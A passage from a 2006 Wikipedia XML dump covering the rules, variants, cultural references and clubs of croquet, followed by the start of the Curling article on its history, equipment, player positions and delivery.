It was an [[Croquet at the 1900 Summer Olympics|event at the 1900 Summer Olympics]]. [[Roque]], an [[Roque at the 1904 Summer Olympics|event at the 1904 Summer Olympics]] is believed to have been a variation.

Variations of the game include [[Extreme_croquet|eXtreme Croquet]] and Bicycle Croquet.

==International-Rules Croquet==

(With an emphasis on the game as played in the United Kingdom)

There are several variations of croquet played, differing in the scoring systems, order of shots, and layout (particularly in social games where play must be adapted to smaller-than-standard playing courts). The main competitive version played in the UK is Association Croquet, where players can take multiple shots in one turn provided they either a) hit the ball through the correct hoop (&quot;run&quot; a hoop), or b) hit another ball. Upon hitting another ball, the player must play his next shot with the two balls touching; the &quot;Croquet Stroke&quot;, from which the game takes its name. The winner is the player who, with each of his balls, runs each hoop twice in order and strikes the centre peg.

As long &quot;breaks&quot; (continuous play by one player) became more common as the standard of play improved, &quot;Advanced Play&quot; (a variant of association play for expert players) was introduced. This gave penalties to a player who ran certain hoops in the same turn. In response, feats of skill such as [[triple peels]] and even [[sextuple peels]], in which the partner (or opponent ball) was caused to run a number of hoops in a turn by the strikers ball, became more common in order to avoid the penalties.

Also played competitively in the UK is Golf Croquet, in which each player takes turns trying to hit a ball through the same hoop, the winner being the player who manages to hit the ball through the most hoops first. Golf Croquet has the advantage of being easier to learn and play, but its critics claim that the lack of croquet strokes in the game means that it is less intellectually demanding. There are other variations popular in other croquet-playing nations.

Golf Croquet is the fastest-growing version of the game, owing largely to its simplicity and fierce competitiveness. Egyptian players overwhelmingly dominate the game.

As well as club-level games, there are regular world championships and international matches between croquet-playing countries. The sport has particularly strong followings in the UK, USA, New Zealand and Australia. Many other countries also play.

The current (August 05) Association Croquet World Champion is [[Reginald Bamford]] (RSA). The UK recently won the MacRobertson Shield, the major international trophy in Croquet. The current (August 04) Golf Croquet World Champion is [[Ahmed Nasr (croquet player) |Ahmed Nasr]] (Egypt).

In the UK, the sport is run by the Croquet Association - http://www.croquet.org.uk

Some people consider croquet to be viciously competitive. However, the ability in versions other than Golf Croquet to gain extra strokes favour players who position balls with more care, rather than simply as far away from everything else as possible. At championship standard association croquet, players can often make all 26 points (13 for each ball) in two turns.

==American Six-Wicket Croquet==

&quot;Association&quot; croquet -- more properly called &quot;international-rules&quot; croquet -- is probably the most widely played version of croquet in the world. Close on its heels is the extremely simple, yet highly competitive &quot;golf&quot; croquet -- the fastest-growing croquet game.

The &quot;American-rules&quot; version of croquet -- another six-wicket-layout game -- is the dominant game in the United States and, to its fans, by far the best version of the game, because of its emphasis on strategy. Its genesis is mostly in the international game, but it differs in a number of important ways, most notably in that a ball's &quot;deadness&quot; on other balls is carried over from turn to turn, until the ball has been &quot;cleared&quot; by scoring a wicket. This leads to strategic and tactical dilemmas far too complicated to be outlined here.

Shot-making ability is relatively less important in the American game than in the international game, and top-level international-rules players are, almost invariably, vastly superior shot makers.

American-rules enthusiasts enjoy the greater mental challenge of their game, along with the somewhat leveling effect brought about by the reduction in importance of shot-making skill. It is a maxim of the game that good strategy will beat pure physical skill more often than not, and this allows players with fewer physical gifts to be competitive in the sport.

American-rules croquet owes few of its rules but a great deal of its spirit, strategy, and tactics to Kentucky croquet, a variant of croquet played with nine wickets on clay courts. The best-known star of Kentucky croquet was Archie Burchfield, who discovered American six-wicket croquet in the early 1980s, quickly became one of its best players, and introduced new strategies and tactics that enlivened the game. Burchfield died in February, 2005.

The governing body of the American-rules game is the United States Croquet Association [http://www.croquetamerica.com/home.asp].

Top American-rules players as of early 2005 include:

Doug Grimsley, Mike Jenner, Kenster Rosenberry, Brian Cumming, Jackie Jones, Leo McBride, Mik Mehas, Jeff Soo, and perhaps the American game's most notable player, John C. Osborn, the son of USCA founder Jack Osborn.

Two important American croquet publications are Croquet World Online [http://www.croquetworld.com/home.asp] and the National Croquet Calendar.

==Backyard Croquet==

Croquet has become a popular backyard game in America, where croquet sets are commonplace in most department stores and sports shops. Such sets typically consist of 6 wooden mallets with plastic bumpers on both striking surfaces. The mallet head and handle usually come unassembled and are joined by screwing the handle into the head. The 6 balls are either of wood or, more commonly, plastic. They are coloured blue, red, black, yellow, green and orange. Also included are 9 wire wickets and two wooden stakes. There is often a carrying case or stand with the set.

Setup is just as in standard 9-wicket rules. It is a double-diamond pattern formed by 7 wickets, with the middle wicket serving as a shared point for both diamonds. Beyond the wickets at either end are one additional wicket and one stake. The diagram included with the set indicates that there is to be a 6 foot distance separating the wickets at the outer end of each diamond, and 6 more feet between the outermost wickets and the starting and turning stakes. In practice, however, this part of the diagram is typically disregarded, and a mere &quot;mallets-head-length&quot; (about 10 inches) separates one wicket from the other, and the outermost wicket from the stake. This allows the ball to more easily be hit through both wickets in one stroke.

The standard game is &quot;cut-throat,&quot; with each player trying to beat all the others through the course to the final stake. A player's score is disregarded. Instead, the game is considered a race. The game is sometimes considered over as soon as the first player strikes the final stake. Alternatively, players continue playing for second place, third place, etc., until only one player's ball remains.

Play order is determined by the order of the stripes painted from top to bottom on the stakes. The mallets are sometimes also painted in multicolored stripes to remind players of the playing order. The usual order is blue, red, black, yellow, green, and finally orange. After orange is done, play continues with blue again. This order sometimes varies, depending on the set being used.

The first player begins by setting his or her ball beside or in front of the first stake. The player then attempts to strike the ball through the first two wickets. Though disallowed in some yards, players might sometimes use the technique of striking the ball not with the end of the mallet, but with the side, or even shoving it with the side, rather than striking it. Another technique disallowed in some yards, but tolerated in others, is to set the ball in direct contact with the stake, and to propel it by striking the stake, rather than the ball itself.

A bonus stroke is granted for each wicket the ball goes through. At the starting and turning stakes, two bonus strokes would be granted for getting the ball through both wickets in one stroke.

Two bonus strokes are also granted for hitting another ball. Hitting a ball cancels out all bonus strokes accumulated from wickets, and going through a wicket cancels all bonus strokes accumulated from hitting a ball. A player can therefore acquire no more than 2 bonus strokes at a time. If a player hits another ball, that player is considered &quot;dead on&quot; that ball, and can acquire no more bonus strokes from hitting that ball until he or she has gone through the next wicket (or struck the next stake) in the course.

After hitting another ball and gaining bonus strokes from it, a player has three choices as to ball placement. The player may play the ball where it lies, pick up the ball and place it right next to the struck ball, or pick up the ball and place it one mallets-head-length away from the struck ball.

If the ball is placed right next to the struck ball, the player may &quot;send&quot; the other ball by placing a foot on his or her own ball and then striking it so as to send the other ball away. Care must be taken not to unintentionally send one's own ball during this manoeuvre, and not to injure one's own foot with an overzealous and poorly aimed swing. Holding the ball in place with a hand, rather than a foot, is also acceptable in some yards. A &quot;send&quot; counts as one stroke, and the player has one more stroke after performing it.

Players must play their balls through the wickets in a certain order. From the starting stake and the first two wickets, they proceed forward and right to the third wicket, then forward and left to the fourth, middle wicket, then forward and right to the fifth wicket, then forward and left to the sixth and seventh wickets, and then to the turning stake. After striking the turning stake, the player may pick up the ball and place it again in the same manner as with the starting stake, or else play it where it lies. The player then proceeds back through wickets 7 and 6, in that order, then forward and right to the eighth wicket, then forward and left to the fourth, middle wicket (going through the other direction, this time), then forward and right through the ninth wicket, then forward and left through wickets 2 and 1 in that order, and finally striking the starting stake to win the game. Players do not get bonus strokes for going through a wicket backwards, or out of the proper order.

There are as many variations on these rules as there are yards in which the game is played, and care must be taken to make the &quot;house rules&quot; clear before the start of the game.

One popular variation is &quot;Poison&quot; or &quot;Snake&quot; rules. In this game, a ball that goes through the final wicket is considered a Snake, or Poison. This ball &quot;kills&quot; or eliminates other non-poisonous balls from play if it strikes them, or is struck by them. If a Snake hits another Snake, the struck Snake is killed. If a Snake hits a stake or goes through a wicket in any direction, it is killed. The last player on the course wins the game. Just as with regular balls, a Snake gains 2 bonus strokes for hitting another ball.

Another variation is team play, where pairs or trios of players compete against other teams to be the first with all members completing the course. Teams are typically blue, black and green versus red, yellow and orange. In couples play, it is blue and black versus red and yellow, or blue and yellow versus red and green versus black and orange.

Yet another variation is &quot;Obstacle&quot; or &quot;Golf&quot; rules, in which players must go through a unique course of wickets that has been designed to be long and difficult. Wickets are often placed in inconvenient spots, such as under bushes or on the sides of hills. The idea here is to maximize originality and absurdity, and there are often numerous additional rules toward this aim, such as the rule that you may not take a stroke without a drink (preferably alcoholic) in your hand.

The United States Croquet Association (USCA) is the governing body of croquet in the United States.  The Official USCA 9 Wicket Croquet Webiste is 
http://www.9wicketcroquet.com

==Croquet Variants==
===eXtreme Croquet===

Taking the principles of backyard croquet to the next level results in the phenomenon of [[Extreme_croquet|eXtreme Croquet]]. This variant shuns the serene settings of traditional croquet for more challenging terrain including those that contain trees, roots, hills, sand, mud, or moving or still water. eXtreme Croquet uses the traditional English figure-eight standard layout, but several additional rules, rules that vary from location to location, are also employed.

* [http://www.extremecroquet.org/about/links.html The Connecticut eXtreme Croquet Society]

===Bicycle Croquet===
Based on the rules of conventional croquet &quot;Bicycle Croquet&quot; probably came about in and around Graz/Austria in the beginning of the 20th century. The modern variation of Bicycle Croquet(from German &quot;Fahrradkrocket&quot;) has been played since 1997, when Mike Fugeman (England) and Wolfgang Wendlinger (Austria) reinvented the Sport in Aigen im Ennstal/Austria. The homepage of BCCGraz (Bicycle Croquet Club Graz) gives the following description of the sport:

:Bicycle Croquet - the game

:In addition to a high level of fairness BC demands strict control over a player's body and soul. The correct control over ones bicycle is essential for an exciting and stimulating BC-game. The Rund (the ball) is played through the gates by the Holz (mallet). A time limit of 10 seconds has to be met for every individual play. The players alternate strokes and are not allowed to touch the ground with any part of their body. He or she who manages first to hit the peak at the end of the course with their runds wins the game.

* [http://www.bccgraz.org Bicycle Croquet Club Graz]

==Croquet in art and literature==
[[Image:Edouard Manet 012.jpg|thumb|''The Croquet Game'', [[Édouard Manet]], 1873.]]
*[[Winslow Homer]], [[Édouard Manet]], [[Louise Abbéma]] and [[Pierre Bonnard]] all have paintings titled ''The Croquet Game.''
*[[Norman Rockwell]] often depicted the game, including in his painting ''Croquet.''
*A favorite subject of [[Edward Gorey]], a croquet reference often appeared in the first illustration of his books. ''The Untenanted Bicycle'' opens with two illustrations of the main characters playing with croquet mallets.
*In Issues 29 and 30 of [[Dave Sim]]'s [[Cerebus]], the title character and plays almost 40 games of &quot;Wickets&quot; with an invisible elf. The matches, which include roquet-croquet-related [[trash-talk]], correspond to pages 85-90 in the graphic novel &quot;High Society.&quot;
*[[Bill Watterson]] often depicted the title characters in [[Calvin and Hobbes]] playing, or attempting to play croquet. Later in the series, parts of the croquet set were integrated into the sport [[Calvin and Hobbes#Calvinball|Calvinball]].
*[[H. G. Wells]] wrote ''The Croquet Player,'' which uses croquet as a metaphor for the way in which man confronts the very problem of his own existence.
*A garden version of the game is depicted in the [[Cult film|cult film]] ''[[Heathers]]''. Each of the five main characters dresses mostly in his or her croquet color, and a major characterisation is made of how one character will roquet-croquet her victim, but our hero takes the two shots and proceeds.
*A surreal version in the popular children's novel ''[[Alice's Adventures in Wonderland|Alice in Wonderland]]'', as well as the subsequent Disney movie.
*In [[Martin Scorsese]]'s ''[[The Aviator]]'', when [[Howard Hughes]] visits [[Katharine Hepburn]]'s home in [[Connecticut]], the family is playing croquet. Later, Hughes kicks a croquet ball and Hepburn says to him &quot;It doesn't count unless you use the mallet.&quot;
*In the ''[[Knots Landing]]'' episode &quot;A Fine Romance&quot; ([[December 29]], [[1988]]), Paige ([[Nicollette Sheridan]]) and Greg ([[William Devane]]) play a game of strip croquet.
*In the [[Thursday Next]] series of novels, notably [[Something Rotten]], [[Jasper Fforde]] depicts an alternative world in which croquet is a mass spectator sport. In the final of the Superhoop '88, [[Thursday Next]] leads the Swindon Mallets to victory over their arch-rivals, the Reading Whackers, by engaging the services of a group of Neanderthals, thereby saving the world from imminent destruction.

==Croquet Clubs==
Even though championship croquet is no longer played on the average backyard lawn you might be surprised to find a croquet club not too far away from your home just waiting for you to re-kindle your interest in this most fascinating game. In America, croquet lawns may be found from Santa Barbara, California to Puget Sound, Washington, from Rhode Island to Palm Beach Florida and many places in-between. Many colleges have croquet clubs, as well, such as [[Bates College]] and [[Harvard University]].

Here are a few links to find out more information about local clubs in your area:
United States
* [http://www.croquetnational.com/ National Croquet Center, West Palm Beach, Florida]
* [http://www.azcroquet.com/ Arizona Croquet Club]
* [http://www.houstoncroquet.com/ Houston Croquet Club]
* [http://www.mauicroquetclub.org/ Maui Croquet Club]
* [http://www.croquetanyone.com/ Mission Hills Croquet Club]
* [http://www.homestead.com/sonomacutrercroquet/ Sonoma-Cutrer Croquet Club]

If you don't find one listed here, try the [http://www.croquetamerica.com/ USCA website].

United Kingdom
* [http://www.croquet.org.uk/clubs/index.html England and Wales]
* [http://www.scottishcroquet.org.uk/contacts.htm Scotland]

Canada
* [http://www.croqsoc.com/ UBC Croquet Society, Vancouver, BC]

In the US,

The World Croquet Federation has members from 15 countries [http://www.wcfcroquet.org/ WCF website].

==External links==
* [http://www.croquet.org.uk/ The Croquet Association] including the Official Laws of Association Croquet
* [http://www.oxfordcroquet.com/coach/synopsis/index.asp A Synopsis of the Laws of Association Croquet] from Oxford Croquet
* [http://www.croquetamerica.com/ United States Croquet Association]
* [http://www.toycrossing.com/croquet/index.shtml The Rules of Croquet] nine-wicket or garden croquet

[[Category:Ball games]][[Category:Precision sports]][[Category:Past Olympic sports]]

[[da:Krocket]]
[[de:Croquet]]
[[fr:Croquet]]
[[ru:Крокет]]
[[sv:Krocket]]</text>
    </revision>
  </page>
  <page>
    <title>Curling</title>
    <id>6644</id>
    <revision>
      <id>42126528</id>
      <timestamp>2006-03-04T00:13:59Z</timestamp>
      <contributor>
        <ip>67.85.194.80</ip>
      </contributor>
      <text xml:space="preserve">'''Curling''', is a precision team [[sport]] similar to [[bowls]] or [[bocce]], played on a rectangular sheet of prepared [[ice]] by two teams of four players each, using heavy polished granite stones which they slide down the ice towards an archery-like target called the ''house''.  Points are scored by the proximity of a team's rocks to the center of the target.

[[image:Brier 045.jpg|thumb|300px|Curling is a game played on ice with granite stones; in this picture, four curling sheets are shown.]]

== Origins and history == 
The game was probably invented in [[late medieval]] [[Scotland]], with the first written reference to a contest using stones on ice coming from the records of [[Paisley Abbey]], [[Renfrewshire|Renfrew]], in February, [[1541]]. Two paintings (both dated [[1565]] [http://icing.org/game/history/historyb.htm]) by [[Pieter Brueghel the Elder]] depict [[Netherlands|Dutch]] [[peasant]]s curling (Scotland and the [[Low Countries]] had strong trading and cultural links during this period, which is also evident in the [[history of golf]]).

The word ''curling'' first appears in print in [[1620]] in [[Perth, Scotland|Perth]], Scotland, in the [[preface]] and the verses of a poem by [[Henry Adamson]]. The game was (and still is, in Scotland) also known as &quot;the roaring game&quot; because of the sound the stones make while travelling over the ''pebble'' (droplets of water applied to the playing surface). The word derives from the [[Scots language]] verb ''curr'' [http://www.dsl.ac.uk/dsl/getent4.php?query=curr] which describes a low rumble (a [[cognate]] of the [[English language]] verb ''[[purr]]''). The word does not take its name from the motion of the stones, which due to their deviation from a straight-line trajectory are said to curl.

In the early history of curling, the rocks were simply flat-bottomed river stones which were sometimes notched or shaped; the thrower had little control over the rock, and relied more on luck than skill to win, unlike today's reliance on skill and strategy.    

Outdoor curling was very popular in Scotland between the 16th and the 19th centuries as the climate provided good ice conditions every winter.

Scotland is home to the international governing body for curling, the [[World Curling Federation]], Perth, which originated as a committee of the [[Royal Caledonian Curling Club]], the mother club of curling.

Today the game is most firmly established in [[Sports in Canada|Canada]], having been taken there by [[Scottish emigrants]]. The [[Royal Montreal Curling Club]], the oldest active athletic club of any kind in [[North America]], was established in [[1807]]. The first curling club in the [[United States]] began in [[1832]], and the game was introduced to [[Switzerland]] and [[Sweden]] before the end of the [[nineteenth century]], also by Scots. Today, curling is played all over [[Europe]] and has spread to [[Japan]], [[Australia]], [[New Zealand]], and even [[China]] and [[Korea]].

The first world curling championship in the sport was limited to men and was known as the &quot;[[Scotch Cup]]&quot; held in [[Falkirk]] and [[Edinburgh]], [[Scotland]], in [[1959]]. The first ever world title was won by the [[Canada|Canadian]] team from [[Regina, Saskatchewan]], skipped by [[Ernie Richardson]]. 

Curling has been an official sport in the [[Winter Olympics]] since the [[1998 Winter Olympic Games]]. In February 2006, the [[International Olympic Committee]] retroactively decided that the curling competition from the [[1924 Winter Olympic Games]] (originally called Semaine des Sports d'Hiver or International Winter Sports Week) would be considered official Olympic events and no longer be considered demonstration events.  Thus, the [[Curling_at_the_1924_Winter_Olympics#Medals|first Olympic medals in curling]], which at the time was played outside, were awarded for the 1924 Winter Games with the gold medal won by Great Britain and Ireland, two silver medals by Sweden and the bronze by France.

== Basics of the game ==
Curling is played on a rectangular sheet of prepared ice into which two round, painted, archery-like targets (called the '''house''') have been embedded. The game involves two teams of four players.  These teams are called ''rinks'' and named for the team’s captain, who is known as the “skip”.  Each team has eight polished [[granite]] stones, called ''stones'' or ''rocks'', with which they try to score.

During each round of play, called an '''end''', each player slides two stones along the surface of the ice.  Play alternates between teams, each throwing one stone on their turn.  The person throwing the stone influences where the stone stops by the amount of force used, called the '''weight''', the spin ('''turn'''), and the direction of the throw. Additionally, the final position of the stone is changed by sweeping or brushing the path in front of the stone to reduce curl and increase distance.  Once all the stones have been thrown during an end, the score is determined and the play reverses direction back to the other '''house'''.

The players are known as the '''lead''', '''second''', '''third''' and '''skip''', and traditionally throw stones in that order . The skip acts as the team’s captain, determining the position played by each player, strategy during the game, holding the broom in the house as a target for the shooters, and representing the rink. However, there is nothing in the rules to say where in the order the skip plays and in recent years the skip has thrown second or third stones on some teams.

The basic goal of each end is to have your curling stones nearer to the center of the target once all the stones from both teams have been thrown for that end.  Therefore, the maximum number of points a team can earn per end is eight, though this is extremely rare because only the closest stones belonging to one of the two teams are counted.  Strategies used during play, such as blocking ('''guard''') and hitting rocks to reposition them ('''bump''') or remove them from play ('''take-out''') lead to lower scores.  The term '''draw''' is used to describe a shot that comes to rest in the house without making contact with another stone. To '''peel''' means to remove both the target stone and the shooter's stone from play. For more information, see '''Types of shots''' below.

To help ensure the stone lands where intended, the skip stands in the '''house''' and indicates to the player throwing where to aim given the desired effect of the shot.  The other two players sweep in front of the rock.  Once thrown, players may not touch a stone while it is moving, so sweeping is the only way to influence the stone once thrown.  Games, called '''matches''', usually last eight ends, though in competitive curling there are usually ten ends and some recreational games last six ends.

== Playing surface ==
[[image:curlingsheet.jpg|thumb|The playing area in curling is shown here. Rocks must land between the ''hog line'' (bottom of photo) and the ''back line'' (behind the rings) and between the boards or out lines (on the sides).]]

The curling arena is a sheet of ice 146 feet (45.5 m) long by 15 feet 7 inches (4.75 m) wide, carefully prepared to be absolutely level so as to allow the rocks to glide with as little [[friction]] as possible. A key part of the preparation is the spraying of fine water droplets onto the ice, called pebble.  Due to the friction between the stone and pebble, the stone turns to the inside or outside, causing the stone's path to 'curl'. The curl changes during a game as the pebble wears out.  

Occasionally, small ice crystals, &quot;ice picks&quot;, will bond on the bottom of the stone (called the &quot;running surface&quot;), which increase friction and change the stone's path.  As the pebble wears down, more ice picks develop, especially if the water is not treated to remove excess minerals.

[[image:hack.jpg|thumb|left|Players must push out of the '''hack''' to deliver their stones. Which foot they use is determined by whether they are left- or right-handed.]]

On the sheet, a 12 foot (3.7 m) wide set of concentric rings, called the house, is painted near each end of the rink. The centre of the house is marked by the junction of two lines that divide the house into quarters and is known as the ''button.'' The two lines are the centre line, which is drawn lengthwise down the centre of the sheet, and the tee line, drawn 16 feet (4.9 m) from the backboard and parallel to it. Two other lines, the hoglines, are drawn parallel to each backboard and 37 feet (11.3 m) from it.

The rings that surround the button are defined by their diameter as the four-foot, eight-foot, and twelve-foot rings. They are usually distinguished by colour. The inner rings are merely a visual aid for judging which stone is closer to the centre; they do not affect scoring; however, a stone that is not at least touching the outside of the 12-foot ring (i.e. more than 6 feet from the centre) is not ''in the house'' and therefore does not score (see below).

Twelve feet behind the button (therefore 4 feet from the backboard), the centre line is crossed at right angles by the hack line. The ''hack'' is a device used to provide traction to the curler making a shot; the curler places the foot he or she will push off with in the hack. On indoor rinks there are usually two fixed hacks, rubber-lined holes, one each side of the centre line with the inside edge no more than three inches (7.6 cm) from the centre line and the front edge on the hack line. A single moveable hack may also be used. 

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[[Image:Curlingrink.PNG|thumb|center|725px|Graphical depiction of a curling sheet.]]
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== Players ==
Curling is played between two teams of four curlers each, with team members named for the usual order in which they play. The ''lead'' plays first, then the ''second,''  the ''third,''  and finally the ''fourth''; the ''fourth'' is typically the skip (team captain) but not always. For example, [[Randy Ferbey]] throws third and  [[Russ Howard]] throws second. The position at which the skip (team captain) throws will be renamed with ''skip''. For example, [[Randy Ferbey]]'s team will be lead, second, skip, fourth, while [[Russ Howard]]'s team will be lead, skip, third, fourth.

===Lead===
The lead, or first, throws the team's first two stones of an end, and sweeps for the other team members.  Strategically, the lead usually has similar shots from end to end, usually throwing guards or draws.

Depending on the tradition, the lead may flip a coin with the opposing lead to determine who will have last rock advantage at the beginning of a game. The winner of the toss has the option to pick either last rock, or the colour of the rocks they wish to play with. In major tournaments, these decisions are usually made beforehand.

===Second===
The second throws the team's third and fourth stones and sweeps for all other players.

===Third===
Also called the vice-skip, vice or mate, the third  throws the team's fifth and sixth stones, and usually sweeps for the second and the lead.  The third usually assists the skip in his or her duties. When it is the skip's turn to throw, it is usually the third who holds the broom for the skip. 

After each round of play (or &quot;end&quot;), the thirds for both teams must reach an agreement about which team scored and how many points. If there is a disagreement, or uncertainty, the thirds may measure the rocks to see which ones are closer. At this time, only the thirds are allowed in the house.  In major tournaments, the scorekeeping is left to an official. Depending on the tradition, when the third's team scores, the third will record it on the score-board.

===Skip===
The skip is the captain of the team and determines strategy.  Based on the strategy, the skip holds the broom indicating where the player throwing must aim (&quot;calling the shot&quot;). When it is the skip's turn to throw, the vice-skip (usually the third) holds the broom.  The skip usually throws the last two rocks of the end, however some teams have the skip throwing in other positions.

The skip rarely does any sweeping, except in the house and behind the tee line. The skip is required to stay out of the playing area when it is the other team's turn, but he is allowed to sweep stones in motion behind the tee line as a result of their shot. (In International rules, the skip, when he or she is not throwing, is the only player allowed to sweep their opponent's stones behind the tee-line.) 

===Fourth===
The &quot;fourth&quot; refers to the thrower of the last two stones in each end for a team if that player is not the skip. That is, if the skip does not play last rocks in each end, the last player to throw is known as Fourth.

===Team naming===
Except in international or some national and provincial events in Canada and the United States, a team will usually be identified by the last name of the skip. For example, [[Cassandra Johnson]]'s foursome is known as &quot;Team Johnson,&quot; unless they are representing the United States in the World Championships or the Olympics, in which case they would be known as &quot;Team USA&quot;.

==Equipment==

===Shoes===
[[image:curlingshoes.jpg|thumb|'''Curling shoes:''' The slider shoe (center), with its thin [[Teflon]] surface, is worn during delivery to slide on the ice; a slip-on gripper (left) is worn over the slider at other times; the other shoe (right) has a rough surface to give traction on the ice.]]
When curling, players need to wear specially designed shoes. The sole of one shoe has a thin strip of Teflon or another type of smooth surface, called a ''slider''. Inexpensive sliders can be purchased and attached to any shoes by means of an elastic strap. This enables curlers to slide out of the hack when delivering a rock. Left-handed curlers wear this shoe on their right foot, while right-handed curlers wear it on their left. The other shoe has a thin layer of rubber to maximize traction on the ice. Another piece of footwear is the gripper, which can slide on and off the shoe with the slippery surface. This is also usually made of rubber. This piece of equipment is needed when a player is sweeping, and needs traction with both feet. 

[[image:curlingbroom.jpg|thumb|left|100px|The '''curling broom''' is used to sweep the ice surface in front of the rock.]]

=== Brooms (or brushes) ===
The curling broom is used to sweep the ice surface in front of the rock. Aggressive sweeping momentarily melts the ice, which lessens friction, thereby lessening the deceleration of the rock, while straightening the trajectory of the rock. The broom can also be used to clean debris off the ice. The skip will also hold a broom at the opposite end of the rink from the delivering player to show the deliverer where to aim the rock.

In earlier days, brooms were made of corn strands and were similar to household brooms. Brushes were used primarily by elderly curlers as a substitute for corn brooms. Today, brushes have replaced traditional corn brooms at every level of curling, but are universally referred to as brooms. Brooms are also used by some curlers as a balancing aide during delivery of the stone.

=== Curling stone (or rock) ===
[[image:curlingrock.jpg|thumb|The curling '''stone''' or '''rock''' is made out of [[granite]].]]

The curling stone, or rock, weighs a maximum of 44 lbs. (19.96 kg) and is fitted with a handle on top allowing it to be rotated as it is released. If the handle is rotated across the body (clockwise for a right-handed thrower, counter-clockwise for a leftie), the shot is said to be an in-turn, and if rotated away from the body (counter-clockwise for a right-handed thrower, clockwise for a leftie), it is an out-turn. The handle may also contain circuitry for detecting hog line violations. [http://www.curling.ca/fan_central/features/from_the_ntc/article.asp?id=21]

The bottom of the rock is not flat, however, but [[concave]] with the actual surface in contact with the ice (&quot;running surface&quot;) being only ¼ to ½ inch (6 to 12 mm) wide along the rim of the concave bottom. This narrow running surface allows the pebble applied to the ice to have an effect on the action of the rock. On properly prepared ice, the rock's path will bend (curl) in the direction the front edge of the rock is turning, especially toward the end of its delivery. The degree of curl depends on several factors, including the preparation of the ice and the flattening of common paths to the house during the game. Ice on which the rocks curl well is said to be swingy.

The Scots in particular believe that the best quality curling stones are made from a specific type of [[granite]] called &quot;Ailsite&quot;, found on the [[Ailsa Craig]], an island off the [[Ayrshire]] coast. Most curling stones are made from this granite. Because of the particular rarity of Ailsite, costs for curling stones can reach as much as $1500 ([[United States dollar|USD]]) for Olympic grade stones.  Many curling clubs use a lower grade stone that can be upwards of $500. Very informal neighbourhood curling clubs with limited resources may make cylindrical &quot;curling stones&quot; out of concrete-filled cans. 

The curling stones used at the 2006 [[Winter Olympic Games|Winter Olympics]] in [[Turin|Torino]] were provided by the [[Garn For]] granite quarry at the [[Yr Eifl]] mountain on the [[Llŷn Peninsula]] in North-West [[Wales]].

=== Specialized equipment ===
A special handle for stones, called &quot;[http://www.eyeonthehog.com/ Eye On The Hog]&quot;, has recently been developed, which integrates electronics to ensure the stone is released before it crosses the hog line. The handle is coated in metallic paint; the circuitry detects the relative charge of the thrower's hand contact to determine if they are still in contact, and a linear field is established at the hog line to indicate its location to the internal sensor. Lights at the base of the handle indicate whether contact was sustained past the line or not. Not only does this remove the chance for human error (eliminating the game's most frequent cause of controversy), but it means there is no need for hogline officials as well. It is finding use in curling clubs and high-level tournaments (including the 2006 Winter Olympics) alike.

Although the rock is designed to be delivered by players grasping the handle as they slide down the ice, a special &quot;delivery stick&quot; may be used by players incapable of delivering the rock in this fashion. Such a stick is designed to attach to the handle so that it can be released without requiring the player to place a hand on the handle in a crouched position. This allows the game to be played by players with disabilities, as well as those unable to crouch comfortably. According to the [[Canadian Curling Association]] Rules of Curling, &quot;The use of a curling aid commonly referred to as a 'delivery stick' which enables the player to deliver a stone without placing a hand on the handle is considered acceptable.&quot;

== Game play ==
A competitive game usually consists of ten ends. Recreational games are more commonly only eight or even six ends. An end consists of each player from both teams throwing two rocks with the players on each side alternating shots, for a total of sixteen rocks.  If the teams are tied at the completion of ten ends an extra end is played to break the tie. If the match is still tied after the extra end, play continues for as many ends as may be required to break the tie.  The winner is the team with the highest score after all ends have been completed (see '''Scoring''' below).

It is not uncommon at any level for a losing team to terminate the match before all ends are completed if it believes it no longer has a realistic chance of winning.  Most competitive tournaments require eight ends to be completed before allowing a losing team to concede in this manner.  Competitive games will usually end once the losing team is &quot;run out of rocks&quot; - that is, once it has fewer stones in play and/or available for play than the number of points needed to tie the game in the final end.

In international competition each side is given 73 minutes to complete all of their throws.  Each team is also allowed two 60 second timeouts per ten end game.  If extra ends are required each team is allowed 10 minutes of playing time to complete their throws during the extra end.  One added 60 second timeout is allowed in each extra end.

=== Throwing ===
When throwing the rock, you must release it before reaching the near hogline (players usually slide while releasing their shots) and it must cross the far hogline; otherwise the rock is removed from play. 

While the first three players throw their rocks, the skip remains at the far end of the ice to guide the players.  While the skip is throwing, the ''third'' takes this role.  Thus, each time a rock is thrown, there is one player throwing the rock, and another player at the far end.  

The two remaining players, equipped with brooms, follow the rock and assist in guiding its trajectory by sweeping the ice before the rock. Sweeping causes the rock to decrease its curl but travel a greater distance.  The sweeping players combine directions from the skip and/or the thrower with their own instincts for the weight of the rock, as well as extremely precise timing, to guide the rock into the appropriate position.  Often when giving instructions, the thrower or skip will yell &quot;HARD.&quot;  They are referring to the amount of pressure the sweepers should use to sweep the ice.  Teams confer between throws to determine where they will attempt to place the next rock.

====Delivering the rock====
The process of throwing a rock is known as ''the delivery''. While not mandatory, most curlers deliver the rock from sliding out from the hack. When sliding out, one must start with one shoe (the one with the non-slippery sole) against one of the hacks (a position referred to as being ''in the hacks''). For a right-handed curler, this means starting from the left hack, and vice versa for a left-handed curler. 

When delivering the rock, it is important to remember that the momentum behind how much weight is applied to the rock depends on how much leg drive the delivery has. It is usually not wise to push the rock with the arm, unless absolutely necessary. When in the hack, one must crouch down with the body lined up and shoulders square with the skip's broom at the other end.  While in the hack, one may hold a broom out for balance. Different curlers hold their broom out in many different fashions. The broom is held in the hand opposite from the rock, and should be positioned so that the non-sweeping side of the broom is against the ice. This prevents drag which would be caused by the soft head of the broom dragging against the ice. 

Before any delivery is done, it is important to ensure that the running surface of the rock is clean, and that the area around you is clean as well. This is achieved by wiping the running surface of the rock with either your hand or with the broom, and then cleaning the area around you with the broom. The reason for this is that any dirt in the area or on the bottom of a rock could alter the trajectory of it and ruin the shot. When this happens, this is called a &quot;pick&quot;.

After cleaning the rock, the next step is to know what rotation, or ''turn'', to put on the rock. The skip will usually tell the thrower this information. The thrower will then place the handle of the rock generally at either a &quot;two o'clock&quot; or a &quot;ten o'clock&quot; position. When delivering the rock, the thrower will turn the rock from one of these two positions toward the &quot;twelve o'clock&quot; position before releasing it. A rock turned from ten o'clock to twelve will spin clockwise and curl to the right, and a rock turned from two o'clock to twelve will have the opposite effect. A generally desired rate of turn is about two and a half rotations before coming to a rest.

